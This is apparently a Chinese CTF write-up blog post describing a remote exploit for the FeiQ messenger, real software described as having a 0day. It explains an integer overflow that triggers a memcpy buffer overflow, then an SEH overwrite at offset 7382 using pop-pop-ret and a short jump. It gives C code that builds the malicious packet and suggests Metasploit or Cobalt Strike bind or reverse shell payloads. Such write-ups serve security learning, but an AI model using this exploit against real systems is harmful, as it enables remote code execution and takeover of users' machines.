190919 pwn-第五空间final_十生

说是题目,其实就是飞秋0day 233
之前虽然听说过各种windows的pwn
软件停止更新已久,保护都没开,是比较古老的玩意儿了
于是很容易搜到各种POC
例如0x49D03F处的整形溢出
190919 pwn-第五空间final_十生_第1张图片
在这里插入图片描述
v54是输入进来的字符串,因此可以提供4294967295=0xffffffff=-1从而使memcpy发生缓冲区溢出的异常,然后通过覆盖SEH的方式进行利用

通过cyclic生成字符串填入,可以测出溢出点的偏移7382+4
然后在7382的位置填入ROP的地址

SEH的利用方式

因为异常处理handler的第二个参数esp+8正好是异常结构的地址EstblisherFrame,即偏移7382的位置

因此地址可以填充pop+pop+retn的ROP,从而回到原栈
再在7382的位置填充jmp $+6即可跳过ROP地址,执行后面的shellcode
代码:

char *sendbuf;
sendbuf = (char *)GlobalAlloc(GMEM_ZEROINIT, 0x7fff);
char senddata1[] = "1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:";
int offset = 7382;
char befor_shellcode[] = "\xeb\x06\xeb\x06\x71\x15\xfa\x7f";//jmp $+6 and ROP_addr
int senddata1length = strlen(senddata1);

strcpy(sendbuf, senddata1);
//strcpy(sendbuf + senddata1length, test_code);
memset(sendbuf + senddata1length, 'A', offset);
strcpy(sendbuf + senddata1length + offset, befor_shellcode);
strcpy(sendbuf + senddata1length + offset + strlen(befor_shellcode), shellcode);

shellcode本体可以由msf或者cs之类的直接生成bind_tcpreverse_tcp的payload来获得shellcode

190919 pwn-第五空间final_十生_第2张图片

参考链接:
看雪poc
seh溢出

你可能感兴趣的:(CTF)